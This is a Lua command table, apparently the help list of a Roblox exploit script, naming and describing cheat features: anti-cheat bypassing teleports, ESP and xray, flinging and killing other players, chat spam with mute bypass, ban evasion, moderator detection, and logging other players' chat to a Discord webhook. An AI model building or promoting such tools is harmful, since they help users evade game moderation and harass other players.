CMDs[#CMDs + 1] = {NAME = 'freezeanims', DESC = 'Freezes your animations / pauses your animations - Does not work on default animations'}
CMDs[#CMDs + 1] = {NAME = 'unfreezeanims', DESC = 'Unfreezes your animations / plays your animations'}
CMDs[#CMDs + 1] = {NAME = 'thaw / unfr [player] (CLIENT)', DESC = 'Unfreezes a player'}
CMDs[#CMDs + 1] = {NAME = 'tpposition / tppos [X Y Z]', DESC = 'Teleports you to certain coordinates'}
CMDs[#CMDs + 1] = {NAME = 'tweentpposition / ttppos [X Y Z]', DESC = 'Tween to coordinates (bypasses some anti cheats)'}
CMDs[#CMDs + 1] = {NAME = 'offset [X Y Z]', DESC = 'Offsets you by certain coordinates'}
CMDs[#CMDs + 1] = {NAME = 'tweenoffset / toffset [X Y Z]', DESC = 'Tween offset (bypasses some anti cheats)'}
CMDs[#CMDs + 1] = {NAME = 'notifyposition / notifypos [player]', DESC = 'Notifies you the coordinates of a character'}
CMDs[#CMDs + 1] = {NAME = 'copyposition / copypos [player]', DESC = 'Copies the coordinates of a character to your clipboard'}
CMDs[#CMDs + 1] = {NAME = 'walktoposition / walktopos [X Y Z]', DESC = 'Makes you walk to a coordinate'}
CMDs[#CMDs + 1] = {NAME = 'spawnpoint / spawn [delay]', DESC = 'Sets a position where you will spawn'}
CMDs[#CMDs + 1] = {NAME = 'nospawnpoint / nospawn', DESC = 'Removes your custom spawn point'}
CMDs[#CMDs + 1] = {NAME = 'flashback / diedtp', DESC = 'Teleports you to where you last died'}
CMDs[#CMDs + 1] = {NAME = 'walltp', DESC = 'Teleports you above/over any wall you run into'}
CMDs[#CMDs + 1] = {NAME = 'nowalltp / unwalltp', DESC = 'Disables walltp'}
CMDs[#CMDs + 1] = {NAME = 'teleporttool / tptool', DESC = 'Gives you a teleport tool'}
CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
CMDs[#CMDs + 1] = {NAME = 'logs', DESC = 'Opens the logs GUI'}
CMDs[#CMDs + 1] = {NAME = 'chatlogs / clogs', DESC = 'Log what people say or whisper'}
CMDs[#CMDs + 1] = {NAME = 'joinlogs / jlogs', DESC = 'Log when people join'}
CMDs[#CMDs + 1] = {NAME = 'chatlogswebhook / logswebhook [url]', DESC = 'Set a discord webhook for chatlogs to go to (provide no url to disable this)'}
CMDs[#CMDs + 1] = {NAME = 'antichatlogs / antichatlogger', DESC = 'Prevents Roblox from banning you for your silly chat messages (game needs the legacy chat)'}
CMDs[#CMDs + 1] = {NAME = 'chat / say [text]', DESC = 'Makes you chat a string (possible mute bypass)'}
CMDs[#CMDs + 1] = {NAME = 'spam [text]', DESC = 'Makes you spam the chat'}
CMDs[#CMDs + 1] = {NAME = 'unspam', DESC = 'Turns off spam'}
CMDs[#CMDs + 1] = {NAME = 'whisper / pm [player] [text]', DESC = 'Makes you whisper a string to someone (possible mute bypass)'}
CMDs[#CMDs + 1] = {NAME = 'pmspam [player] [text]', DESC = 'Makes you spam a players whispers'}
CMDs[#CMDs + 1] = {NAME = 'unpmspam [player]', DESC = 'Turns off pm spam'}
CMDs[#CMDs + 1] = {NAME = 'spamspeed [num]', DESC = 'How quickly you spam (default is 1)'}
CMDs[#CMDs + 1] = {NAME = 'bubblechat (CLIENT)', DESC = 'Enables bubble chat for your client'}
CMDs[#CMDs + 1] = {NAME = 'unbubblechat / nobubblechat', DESC = 'Disables the bubblechat command'}
CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
CMDs[#CMDs + 1] = {NAME = 'esp', DESC = 'View all players and their status'}
CMDs[#CMDs + 1] = {NAME = 'espteam', DESC = 'ESP but teammates are green and bad guys are red'}
CMDs[#CMDs + 1] = {NAME = 'noesp / unesp / unespteam', DESC = 'Removes ESP'}
CMDs[#CMDs + 1] = {NAME = 'esptransparency [number]', DESC = 'Changes the transparency of ESP related commands'}
CMDs[#CMDs + 1] = {NAME = 'partesp [part name]', DESC = 'Highlights a part'}
CMDs[#CMDs + 1] = {NAME = 'unpartesp / nopartesp [part name]', DESC = 'removes partesp'}
CMDs[#CMDs + 1] = {NAME = 'chams', DESC = 'ESP but without text in the way'}
CMDs[#CMDs + 1] = {NAME = 'nochams / unchams', DESC = 'Removes chams'}
CMDs[#CMDs + 1] = {NAME = 'locate [player]', DESC = 'View a single player and their status'}
CMDs[#CMDs + 1] = {NAME = 'unlocate / nolocate [player]', DESC = 'Removes locate'}
CMDs[#CMDs + 1] = {NAME = 'xray', DESC = 'Makes all parts in workspace transparent'}
CMDs[#CMDs + 1] = {NAME = 'unxray / noxray', DESC = 'Restores transparency to all parts in workspace'}
CMDs[#CMDs + 1] = {NAME = 'loopxray', DESC = 'Makes all parts in workspace transparent but looped'}
CMDs[#CMDs + 1] = {NAME = 'unloopxray', DESC = 'Unloops xray'}
CMDs[#CMDs + 1] = {NAME = 'togglexray', DESC = 'Toggles xray'}
CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
CMDs[#CMDs + 1] = {NAME = 'spectate / view [player]', DESC = 'View a player'}
CMDs[#CMDs + 1] = {NAME = 'viewpart / viewp [part name]', DESC = 'View a part'}
CMDs[#CMDs + 1] = {NAME = 'unspectate / unview', DESC = 'Stops viewing player'}
CMDs[#CMDs + 1] = {NAME = 'freecam / fc', DESC = 'Allows you to freely move camera around the game'}
CMDs[#CMDs + 1] = {NAME = 'freecampos / fcpos [X Y Z]', DESC = 'Moves / opens freecam in a certain position'}
CMDs[#CMDs + 1] = {NAME = 'freecamwaypoint / fcwp [name]', DESC = 'Moves / opens freecam to a waypoint'}
CMDs[#CMDs + 1] = {NAME = 'freecamgoto / fcgoto / fctp [player]', DESC = 'Moves / opens freecam to a player'}
CMDs[#CMDs + 1] = {NAME = 'unfreecam / unfc', DESC = 'Disables freecam'}
CMDs[#CMDs + 1] = {NAME = 'freecamspeed / fcspeed [num]', DESC = 'Adjusts freecam speed (default is 1)'}
CMDs[#CMDs + 1] = {NAME = 'notifyfreecamposition / notifyfcpos', DESC = 'Noitifies you your freecam coordinates'}
CMDs[#CMDs + 1] = {NAME = 'copyfreecamposition / copyfcpos', DESC = 'Copies your freecam coordinates to your clipboard'}
CMDs[#CMDs + 1] = {NAME = 'gotocamera / gotocam', DESC = 'Teleports you to the location of your camera'}
CMDs[#CMDs + 1] = {NAME = 'tweengotocam / tgotocam', DESC = 'Tweens you to the location of your camera'}
CMDs[#CMDs + 1] = {NAME = 'firstp', DESC = 'Forces camera to go into first person'}
CMDs[#CMDs + 1] = {NAME = 'thirdp', DESC = 'Allows camera to go into third person'}
CMDs[#CMDs + 1] = {NAME = 'noclipcam / nccam', DESC = 'Allows camera to go through objects like walls'}
CMDs[#CMDs + 1] = {NAME = 'maxzoom [num]', DESC = 'Maximum camera zoom'}
CMDs[#CMDs + 1] = {NAME = 'minzoom [num]', DESC = 'Minimum camera zoom'}
CMDs[#CMDs + 1] = {NAME = 'camdistance [num]', DESC = 'Changes camera distance from your player'}
CMDs[#CMDs + 1] = {NAME = 'fov [num]', DESC = 'Adjusts field of view (default is 70)'}
CMDs[#CMDs + 1] = {NAME = 'fixcam / restorecam', DESC = 'Fixes camera'}
CMDs[#CMDs + 1] = {NAME = 'enableshiftlock / enablesl', DESC = 'Enables the shift lock option'}
CMDs[#CMDs + 1] = {NAME = 'lookat [player]', DESC = 'Moves your camera view to a player'}
CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
CMDs[#CMDs + 1] = {NAME = 'btools (CLIENT)', DESC = 'Gives you building tools (DOES NOT REPLICATE)'}
CMDs[#CMDs + 1] = {NAME = 'f3x (CLIENT)', DESC = 'Gives you F3X building tools (DOES NOT REPLICATE)'}
CMDs[#CMDs + 1] = {NAME = 'partname / partpath', DESC = 'Allows you to click a part to see its path & name'}
CMDs[#CMDs + 1] = {NAME = 'delete [instance name] (CLIENT)', DESC = 'Removes any part with a certain name from the workspace (DOES NOT REPLICATE)'}
CMDs[#CMDs + 1] = {NAME = 'deleteclass / dc [class name] (CLIENT)', DESC = 'Removes any part with a certain classname from the workspace (DOES NOT REPLICATE)'}
CMDs[#CMDs + 1] = {NAME = 'lockworkspace / lockws', DESC = 'Locks the whole workspace'}
CMDs[#CMDs + 1] = {NAME = 'unlockworkspace / unlockws', DESC = 'Unlocks the whole workspace'}
CMDs[#CMDs + 1] = {NAME = 'invisibleparts / invisparts (CLIENT)', DESC = 'Shows invisible parts'}
CMDs[#CMDs + 1] = {NAME = 'uninvisibleparts / uninvisparts (CLIENT)', DESC = 'Makes parts affected by invisparts return to normal'}
CMDs[#CMDs + 1] = {NAME = 'deleteinvisparts / dip (CLIENT)', DESC = 'Deletes invisible parts'}
CMDs[#CMDs + 1] = {NAME = 'gotopart [part name]', DESC = 'Moves your character to a part or multiple parts'}
CMDs[#CMDs + 1] = {NAME = 'tweengotopart / tgotopart [part name]', DESC = 'Tweens your character to a part or multiple parts'}
CMDs[#CMDs + 1] = {NAME = 'gotopartclass / gpc [class name]', DESC = 'Moves your character to a part or multiple parts based on classname'}
CMDs[#CMDs + 1] = {NAME = 'tweengotopartclass / tgpc [class name]', DESC = 'Tweens your character to a part or multiple parts based on classname'}
CMDs[#CMDs + 1] = {NAME = 'gotomodel [part name]', DESC = 'Moves your character to a model or multiple models'}
CMDs[#CMDs + 1] = {NAME = 'tweengotomodel / tgotomodel [part name]', DESC = 'Tweens your character to a model or multiple models'}
CMDs[#CMDs + 1] = {NAME = 'gotopartdelay / gotomodeldelay [num]', DESC = 'Adjusts how quickly you teleport to each part (default is 0.1)'}
CMDs[#CMDs + 1] = {NAME = 'bringpart [part name] (CLIENT)', DESC = 'Moves a part or multiple parts to your character'}
CMDs[#CMDs + 1] = {NAME = 'bringpartclass / bpc [class name] (CLIENT)', DESC = 'Moves a part or multiple parts to your character based on classname'}
CMDs[#CMDs + 1] = {NAME = 'noclickdetectorlimits / nocdlimits', DESC = 'Sets all click detectors MaxActivationDistance to math.huge'}
CMDs[#CMDs + 1] = {NAME = 'fireclickdetectors / firecd [name]', DESC = 'Uses all click detectors in a game or uses the optional name'}
CMDs[#CMDs + 1] = {NAME = 'firetouchinterests / touchinterests [name]', DESC = 'Uses all touchinterests in a game or uses the optional name'}
CMDs[#CMDs + 1] = {NAME = 'noproximitypromptlimits / nopplimits', DESC = 'Sets all proximity prompts MaxActivationDistance to math.huge'}
CMDs[#CMDs + 1] = {NAME = 'fireproximityprompts / firepp [name]', DESC = 'Uses all proximity prompts in a game or uses the optional name'}
CMDs[#CMDs + 1] = {NAME = 'instantproximityprompts / instantpp', DESC = 'Disable the cooldown for proximity prompts'}
CMDs[#CMDs + 1] = {NAME = 'uninstantproximityprompts / uninstantpp', DESC = 'Undo the cooldown removal'}
CMDs[#CMDs + 1] = {NAME = 'tpunanchored / tpua [player]', DESC = 'Teleports unanchored parts to a player'}
CMDs[#CMDs + 1] = {NAME = 'animsunanchored / freezeua', DESC = 'Freezes unanchored parts'}
CMDs[#CMDs + 1] = {NAME = 'thawunanchored / thawua / unfreezeua', DESC = 'Thaws unanchored parts'}
CMDs[#CMDs + 1] = {NAME = 'removeterrain / rterrain / noterrain', DESC = 'Removes all terrain'}
CMDs[#CMDs + 1] = {NAME = 'clearnilinstances / nonilinstances / cni', DESC = 'Removes nil instances'}
CMDs[#CMDs + 1] = {NAME = 'destroyheight / dh [num]', DESC = 'Sets FallenPartsDestroyHeight'}
CMDs[#CMDs + 1] = {NAME = 'fakeout', DESC = 'Tp to the void and then back (useful to kill people attached to you)'}
CMDs[#CMDs + 1] = {NAME = 'antivoid', DESC = 'Prevents you from falling into the void by launching you upwards'}
CMDs[#CMDs + 1] = {NAME = 'unantivoid / noantivoid', DESC = 'Disables antivoid'}
CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
CMDs[#CMDs + 1] = {NAME = 'fullbright / fb (CLIENT)', DESC = 'Makes the map brighter / more visible'}
CMDs[#CMDs + 1] = {NAME = 'loopfullbright / loopfb (CLIENT)', DESC = 'Makes the map brighter / more visible but looped'}
CMDs[#CMDs + 1] = {NAME = 'unloopfullbright / unloopfb', DESC = 'Unloops fullbright'}
CMDs[#CMDs + 1] = {NAME = 'ambient [num] [num] [num] (CLIENT)', DESC = 'Changes ambient'}
CMDs[#CMDs + 1] = {NAME = 'day (CLIENT)', DESC = 'Changes the time to day for the client'}
CMDs[#CMDs + 1] = {NAME = 'night (CLIENT)', DESC = 'Changes the time to night for the client'}
CMDs[#CMDs + 1] = {NAME = 'nofog (CLIENT)', DESC = 'Removes fog'}
CMDs[#CMDs + 1] = {NAME = 'brightness [num] (CLIENT)', DESC = 'Changes the brightness lighting property'}
CMDs[#CMDs + 1] = {NAME = 'globalshadows / gshadows (CLIENT)', DESC = 'Enables global shadows'}
CMDs[#CMDs + 1] = {NAME = 'noglobalshadows / nogshadows (CLIENT)', DESC = 'Disables global shadows'}
CMDs[#CMDs + 1] = {NAME = 'restorelighting / rlighting', DESC = 'Restores Lighting properties'}
CMDs[#CMDs + 1] = {NAME = 'light [radius] [brightness] (CLIENT)', DESC = 'Gives your player dynamic light'}
CMDs[#CMDs + 1] = {NAME = 'nolight / unlight', DESC = 'Removes dynamic light from your player'}
CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
CMDs[#CMDs + 1] = {NAME = 'inspect / examine [player]', DESC = 'Opens InspectMenu for a certain player'}
CMDs[#CMDs + 1] = {NAME = 'age [player]', DESC = 'Tells you the age of a player'}
CMDs[#CMDs + 1] = {NAME = 'chatage [player]', DESC = 'Chats the age of a player'}
CMDs[#CMDs + 1] = {NAME = 'joindate / jd [player]', DESC = 'Tells you the date the player joined Roblox'}
CMDs[#CMDs + 1] = {NAME = 'chatjoindate / cjd [player]', DESC = 'Chats the date the player joined Roblox'}
CMDs[#CMDs + 1] = {NAME = 'copyname / copyuser [player]', DESC = 'Copies a players full username to your clipboard'}
CMDs[#CMDs + 1] = {NAME = 'userid / id [player]', DESC = 'Notifies a players user ID'}
CMDs[#CMDs + 1] = {NAME = 'copyplaceid / placeid', DESC = 'Copies the current place id to your clipboard'}
CMDs[#CMDs + 1] = {NAME = 'copygameid / gameid', DESC = 'Copies the current game id to your clipboard'}
CMDs[#CMDs + 1] = {NAME = 'copyuserid / copyid [player]', DESC = 'Copies a players user ID to your clipboard'}
CMDs[#CMDs + 1] = {NAME = 'appearanceid / aid [player]', DESC = 'Notifies a players appearance ID'}
CMDs[#CMDs + 1] = {NAME = 'copyappearanceid / caid [player]', DESC = 'Copies a players appearance ID to your clipboard'}
CMDs[#CMDs + 1] = {NAME = 'bang [player] [speed]', DESC = 'owo'}
CMDs[#CMDs + 1] = {NAME = 'unbang', DESC = 'uwu'}
CMDs[#CMDs + 1] = {NAME = 'carpet [player]', DESC = 'Be someones carpet'}
CMDs[#CMDs + 1] = {NAME = 'uncarpet', DESC = 'Undoes carpet'}
CMDs[#CMDs + 1] = {NAME = 'friend [player]', DESC = 'Sends a friend request to certain players'}
CMDs[#CMDs + 1] = {NAME = 'unfriend [player]', DESC = 'Unfriends certain players'}
CMDs[#CMDs + 1] = {NAME = 'headsit [player]', DESC = 'Sit on a players head'}
CMDs[#CMDs + 1] = {NAME = 'walkto / follow [player]', DESC = 'Follow a player'}
CMDs[#CMDs + 1] = {NAME = 'pathfindwalkto / pathfindfollow [player]', DESC = 'Follow a player using pathfinding'}
CMDs[#CMDs + 1] = {NAME = 'pathfindwalktowaypoint / pathfindwalktowp [waypoint]', DESC = 'Walk to a waypoint using pathfinding'}
CMDs[#CMDs + 1] = {NAME = 'unwalkto / unfollow', DESC = 'Stops following a player'}
CMDs[#CMDs + 1] = {NAME = 'orbit [player] [speed] [distance]', DESC = 'Makes your character orbit around a player with an optional speed and an optional distance'}
CMDs[#CMDs + 1] = {NAME = 'unorbit', DESC = 'Disables orbit'}
CMDs[#CMDs + 1] = {NAME = 'stareat / stare [player]', DESC = 'Stare / look at a player'}
CMDs[#CMDs + 1] = {NAME = 'unstareat / unstare [player]', DESC = 'Disables stareat'}
CMDs[#CMDs + 1] = {NAME = 'rolewatch [group id] [role name]', DESC = 'Notify if someone from a watched group joins the server'}
CMDs[#CMDs + 1] = {NAME = 'rolewatchstop / unrolewatch', DESC = 'Disable Rolewatch'}
CMDs[#CMDs + 1] = {NAME = 'rolewatchleave', DESC = 'Toggle if you should leave the game if someone from a watched group joins the server'}
CMDs[#CMDs + 1] = {NAME = 'staffwatch', DESC = 'Notify if a staff member of the game joins the server'}
CMDs[#CMDs + 1] = {NAME = 'unstaffwatch', DESC = 'Disable Staffwatch'}
CMDs[#CMDs + 1] = {NAME = 'handlekill / hkill [player] [radius] (TOOL)', DESC = 'Kills a player using tool damage (YOU NEED A TOOL)'}
CMDs[#CMDs + 1] = {NAME = 'fling', DESC = 'Flings anyone you touch'}
CMDs[#CMDs + 1] = {NAME = 'unfling', DESC = 'Disables the fling command'}
CMDs[#CMDs + 1] = {NAME = 'flyfling [speed]', DESC = 'Basically the invisfling command but not invisible'}
CMDs[#CMDs + 1] = {NAME = 'unflyfling', DESC = 'Disables the flyfling command'}
CMDs[#CMDs + 1] = {NAME = 'walkfling', DESC = 'Basically fling but no spinning'}
CMDs[#CMDs + 1] = {NAME = 'unwalkfling / nowalkfling', DESC = 'Disables walkfling'}
CMDs[#CMDs + 1] = {NAME = 'invisfling', DESC = 'Enables invisible fling (the invis part is patched, try using the god command before using this)'}
CMDs[#CMDs + 1] = {NAME = 'antifling', DESC = 'Disables player collisions to prevent you from being flung'}
CMDs[#CMDs + 1] = {NAME = 'unantifling', DESC = 'Disables antifling'}
CMDs[#CMDs + 1] = {NAME = 'loopoof', DESC = 'Loops everyones character sounds (everyone can hear)'}
CMDs[#CMDs + 1] = {NAME = 'unloopoof', DESC = 'Stops the oof chaos'}
CMDs[#CMDs + 1] = {NAME = 'muteboombox [player]', DESC = 'Mutes someones boombox'}
CMDs[#CMDs + 1] = {NAME = 'unmuteboombox [player]', DESC = 'Unmutes someones boombox'}
CMDs[#CMDs + 1] = {NAME = 'hitbox [player] [size] [transparency]', DESC = 'Expands the hitbox for players HumanoidRootPart (default is 1)'}
CMDs[#CMDs + 1] = {NAME = 'headsize [player] [size]', DESC = 'Expands the head size for players Head (default is 1)'}
CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
CMDs[#CMDs + 1] = {NAME = 'reset', DESC = 'Resets your character normally'}
CMDs[#CMDs + 1] = {NAME = 'respawn', DESC = 'Respawns you'}
CMDs[#CMDs + 1] = {NAME = 'refresh / re', DESC = 'Respawns and brings you back to the same position'}
CMDs[#CMDs + 1] = {NAME = 'god', DESC = 'Makes your character difficult to kill in most games'}
CMDs[#CMDs + 1] = {NAME = 'permadeath', DESC = 'Makes you unable to respawn after death'}
CMDs[#CMDs + 1] = {NAME = 'invisible / invis', DESC = 'Makes you invisible to other players'}
CMDs[#CMDs + 1] = {NAME = 'visible / vis', DESC = 'Makes you visible to other players'}
CMDs[#CMDs + 1] = {NAME = 'toolinvisible / toolinvis / tinvis', DESC = 'Makes you invisible to other players and able to use tools'}
CMDs[#CMDs + 1] = {NAME = 'speed / ws / walkspeed [num]', DESC = 'Change your walkspeed (default is 16)'}
CMDs[#CMDs + 1] = {NAME = 'spoofspeed / spoofws [num]', DESC = 'Spoofs your WalkSpeed on the Client'}
CMDs[#CMDs + 1] = {NAME = 'loopspeed / loopws [num]', DESC = 'Loops your walkspeed'}
CMDs[#CMDs + 1] = {NAME = 'unloopspeed / unloopws', DESC = 'Turns off loopspeed'}
CMDs[#CMDs + 1] = {NAME = 'hipheight / hheight [num]', DESC = 'Adjusts hip height'}
CMDs[#CMDs + 1] = {NAME = 'jumppower / jpower / jp [num]', DESC = 'Change a players jump height (default is 50)'}
CMDs[#CMDs + 1] = {NAME = 'spoofjumppower / spoofjp [num]', DESC = 'Spoofs your JumpPower on the Client'}
CMDs[#CMDs + 1] = {NAME = 'loopjumppower / loopjp [num]', DESC = 'Loops your jump height'}
CMDs[#CMDs + 1] = {NAME = 'unloopjumppower / unloopjp', DESC = 'Turns off loopjumppower'}
CMDs[#CMDs + 1] = {NAME = 'maxslopeangle / msa [num]', DESC = 'Adjusts MaxSlopeAngle'}
CMDs[#CMDs + 1] = {NAME = 'gravity / grav [num] (CLIENT)', DESC = 'Change your gravity'}
CMDs[#CMDs + 1] = {NAME = 'sit', DESC = 'Makes your character sit'}
CMDs[#CMDs + 1] = {NAME = 'lay / laydown', DESC = 'Makes your character lay down'}
CMDs[#CMDs + 1] = {NAME = 'sitwalk', DESC = 'Makes your character sit while still being able to walk'}
CMDs[#CMDs + 1] = {NAME = 'nosit', DESC = 'Prevents your character from sitting'}
CMDs[#CMDs + 1] = {NAME = 'unnosit', DESC = 'Disables nosit'}
CMDs[#CMDs + 1] = {NAME = 'jump', DESC = 'Makes your character jump'}
CMDs[#CMDs + 1] = {NAME = 'infinitejump / infjump', DESC = 'Allows you to jump before hitting the ground'}
CMDs[#CMDs + 1] = {NAME = 'uninfinitejump / uninfjump', DESC = 'Disables infjump'}
CMDs[#CMDs + 1] = {NAME = 'flyjump', DESC = 'Allows you to hold space to fly up'}
CMDs[#CMDs + 1] = {NAME = 'unflyjump', DESC = 'Disables flyjump'}
CMDs[#CMDs + 1] = {NAME = 'autojump / ajump', DESC = 'Automatically jumps when you run into an object'}
CMDs[#CMDs + 1] = {NAME = 'unautojump / unajump', DESC = 'Disables autojump'}
CMDs[#CMDs + 1] = {NAME = 'edgejump / ejump', DESC = 'Automatically jumps when you get to the edge of an object'}
CMDs[#CMDs + 1] = {NAME = 'unedgejump / unejump', DESC = 'Disables edgejump'}
CMDs[#CMDs + 1] = {NAME = 'platformstand / stun', DESC = 'Enables PlatformStand'}
CMDs[#CMDs + 1] = {NAME = 'unplatformstand / unstun', DESC = 'Disables PlatformStand'}
CMDs[#CMDs + 1] = {NAME = 'norotate / noautorotate', DESC = 'Disables AutoRotate'}
CMDs[#CMDs + 1] = {NAME = 'unnorotate / autorotate', DESC = 'Enables AutoRotate'}
CMDs[#CMDs + 1] = {NAME = 'enablestate [StateType]', DESC = 'Enables a humanoid state type'}
CMDs[#CMDs + 1] = {NAME = 'disablestate [StateType]', DESC = 'Disables a humanoid state type'}
CMDs[#CMDs + 1] = {NAME = 'team [team name] (CLIENT)', DESC = 'Changes your team. Sometimes fools localscripts.'}
CMDs[#CMDs + 1] = {NAME = 'nobillboardgui / nobgui / noname', DESC = 'Removes billboard and surface GUIs from your players (i.e. name GUIs at cafes)'}
CMDs[#CMDs + 1] = {NAME = 'loopnobgui / loopnoname', DESC = 'Loop removes billboard and surface GUIs from your players (i.e. name GUIs at cafes)'}
CMDs[#CMDs + 1] = {NAME = 'unloopnobgui / unloopnoname', DESC = 'Disables loopnobgui'}
CMDs[#CMDs + 1] = {NAME = 'noarms', DESC = 'Removes your arms'}
CMDs[#CMDs + 1] = {NAME = 'nolegs', DESC = 'Removes your legs'}
CMDs[#CMDs + 1] = {NAME = 'nolimbs', DESC = 'Removes your limbs'}
CMDs[#CMDs + 1] = {NAME = 'naked (CLIENT)', DESC = 'Removes your clothing'}
CMDs[#CMDs + 1] = {NAME = 'noface / removeface', DESC = 'Removes your face'}
CMDs[#CMDs + 1] = {NAME = 'blockhead', DESC = 'Turns your head into a block'}
CMDs[#CMDs + 1] = {NAME = 'blockhats', DESC = 'Turns your hats into blocks'}
CMDs[#CMDs + 1] = {NAME = 'blocktool', DESC = 'Turns the currently selected tool into a block'}
CMDs[#CMDs + 1] = {NAME = 'creeper', DESC = 'Makes you look like a creeper'}
CMDs[#CMDs + 1] = {NAME = 'drophats', DESC = 'Drops your hats'}
CMDs[#CMDs + 1] = {NAME = 'nohats / deletehats / rhats', DESC = 'Deletes your hats'}
CMDs[#CMDs + 1] = {NAME = 'hatspin / spinhats', DESC = 'Spins your characters accessories'}
CMDs[#CMDs + 1] = {NAME = 'unhatspin / unspinhats', DESC = 'Undoes spinhats'}
CMDs[#CMDs + 1] = {NAME = 'clearhats / cleanhats', DESC = 'Clears hats in the workspace'}
CMDs[#CMDs + 1] = {NAME = 'chardelete / cd [instance name]', DESC = 'Removes any part with a certain name from your character'}
CMDs[#CMDs + 1] = {NAME = 'chardeleteclass / cdc [class name]', DESC = 'Removes any part with a certain classname from your character'}
CMDs[#CMDs + 1] = {NAME = 'deletevelocity / dv / removeforces', DESC = 'Removes any velocity / force instances in your character'}
CMDs[#CMDs + 1] = {NAME = 'weaken [num]', DESC = 'Makes your character less dense'}
CMDs[#CMDs + 1] = {NAME = 'unweaken', DESC = 'Sets your characters CustomPhysicalProperties to default'}
CMDs[#CMDs + 1] = {NAME = 'strengthen [num]', DESC = 'Makes your character more dense (CustomPhysicalProperties)'}
CMDs[#CMDs + 1] = {NAME = 'unstrengthen', DESC = 'Sets your characters CustomPhysicalProperties to default'}
CMDs[#CMDs + 1] = {NAME = 'breakvelocity', DESC = 'Sets your characters velocity to 0'}
CMDs[#CMDs + 1] = {NAME = 'spin [speed]', DESC = 'Spins your character'}
CMDs[#CMDs + 1] = {NAME = 'unspin', DESC = 'Disables spin'}
CMDs[#CMDs + 1] = {NAME = 'split', DESC = 'Splits your character in half'}
CMDs[#CMDs + 1] = {NAME = 'nilchar', DESC = 'Sets your characters parent to nil'}
CMDs[#CMDs + 1] = {NAME = 'unnilchar / nonilchar', DESC = 'Sets your characters parent to workspace'}
CMDs[#CMDs + 1] = {NAME = 'noroot / removeroot / rroot', DESC = 'Removes your characters HumanoidRootPart'}
CMDs[#CMDs + 1] = {NAME = 'replaceroot', DESC = 'Replaces your characters HumanoidRootPart'}
CMDs[#CMDs + 1] = {NAME = 'clearcharappearance / clearchar / clrchar', DESC = 'Removes all accessory, shirt, pants, charactermesh, and bodycolors'}
CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
CMDs[#CMDs + 1] = {NAME = 'animation / anim [ID] [speed]', DESC = 'Makes your character perform an animation (must be an animation on the marketplace or by roblox/stickmasterluke to replicate)'}
CMDs[#CMDs + 1] = {NAME = 'emote / em [ID] [speed]', DESC = 'Makes your character perform an emote (must be on the marketplace or by roblox/stickmasterluke to replicate)'}
CMDs[#CMDs + 1] = {NAME = 'dance', DESC = 'Makes you d a n c e'}
CMDs[#CMDs + 1] = {NAME = 'undance', DESC = 'Stops dance animations'}
CMDs[#CMDs + 1] = {NAME = 'spasm', DESC = 'Makes you c r a z y'}
CMDs[#CMDs + 1] = {NAME = 'unspasm', DESC = 'Stops spasm'}
CMDs[#CMDs + 1] = {NAME = 'headthrow', DESC = 'Simply makes you throw your head'}
CMDs[#CMDs + 1] = {NAME = 'noanim', DESC = 'Disables your animations'}
CMDs[#CMDs + 1] = {NAME = 'reanim', DESC = 'Restores your animations'}
CMDs[#CMDs + 1] = {NAME = 'animspeed [num]', DESC = 'Changes the speed of your current animation'}
CMDs[#CMDs + 1] = {NAME = 'copyanimation / copyanim / copyemote [player]', DESC = 'Copies someone elses animation'}
CMDs[#CMDs + 1] = {NAME = 'copyanimationid / copyanimid / copyemoteid [player]', DESC = 'Copies your animation id or someone elses to your clipboard'}
CMDs[#CMDs + 1] = {NAME = 'loopanimation / loopanim', DESC = 'Loops your current animation'}
CMDs[#CMDs + 1] = {NAME = 'stopanimations / stopanims', DESC = 'Stops running animations'}
CMDs[#CMDs + 1] = {NAME = 'refreshanimations / refreshanims', DESC = 'Refreshes animations'}
CMDs[#CMDs + 1] = {NAME = 'allowcustomanim / allowcustomanimations', DESC = 'Lets you use custom animation packs instead'}
CMDs[#CMDs + 1] = {NAME = 'unallowcustomanim / unallowcustomanimations', DESC = 'Doesn\'t let you use custom animation packs instead'}
CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
CMDs[#CMDs + 1] = {NAME = 'autoclick [click delay] [release delay]', DESC = 'Automatically clicks your mouse with a set delay'}
CMDs[#CMDs + 1] = {NAME = 'unautoclick / noautoclick', DESC = 'Turns off autoclick'}
CMDs[#CMDs + 1] = {NAME = 'autokeypress [key] [down delay] [up delay]', DESC = 'Automatically presses a key with a set delay'}
CMDs[#CMDs + 1] = {NAME = 'unautokeypress', DESC = 'Stops autokeypress'}
CMDs[#CMDs + 1] = {NAME = 'hovername', DESC = 'Shows a players username when your mouse is hovered over them'}
CMDs[#CMDs + 1] = {NAME = 'unhovername / nohovername', DESC = 'Turns off hovername'}
CMDs[#CMDs + 1] = {NAME = 'mousesensitivity / ms [0-10]', DESC = 'Sets your mouse sensitivity (affects first person and right click drag) (default is 1)'}
CMDs[#CMDs + 1] = {NAME = 'clickdelete', DESC = 'Go to Settings > Keybinds > Add for click delete'}
CMDs[#CMDs + 1] = {NAME = 'clickteleport', DESC = 'Go to Settings > Keybinds > Add for click teleport'}
CMDs[#CMDs + 1] = {NAME = 'mouseteleport / mousetp', DESC = 'Teleports your character to your mouse. This is recommended as a keybind'}
CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
CMDs[#CMDs + 1] = {NAME = 'tools', DESC = 'Copies tools from ReplicatedStorage and Lighting'}
CMDs[#CMDs + 1] = {NAME = 'notools / removetools / deletetools', DESC = 'Removes tools from character and backpack'}
CMDs[#CMDs + 1] = {NAME = 'deleteselectedtool / dst', DESC = 'Removes any currently selected tools'}
CMDs[#CMDs + 1] = {NAME = 'grabtools', DESC = 'Automatically get tools that are dropped'}
CMDs[#CMDs + 1] = {NAME = 'ungrabtools / nograbtools', DESC = 'Disables grabtools'}
CMDs[#CMDs + 1] = {NAME = 'copytools [player] (CLIENT)', DESC = 'Copies a players tools'}
CMDs[#CMDs + 1] = {NAME = 'dupetools / clonetools [num]', DESC = 'Duplicates your inventory tools a set amount of times'}
CMDs[#CMDs + 1] = {NAME = 'droptools', DESC = 'Drops your tools'}
CMDs[#CMDs + 1] = {NAME = 'droppabletools', DESC = 'Makes your tools droppable'}
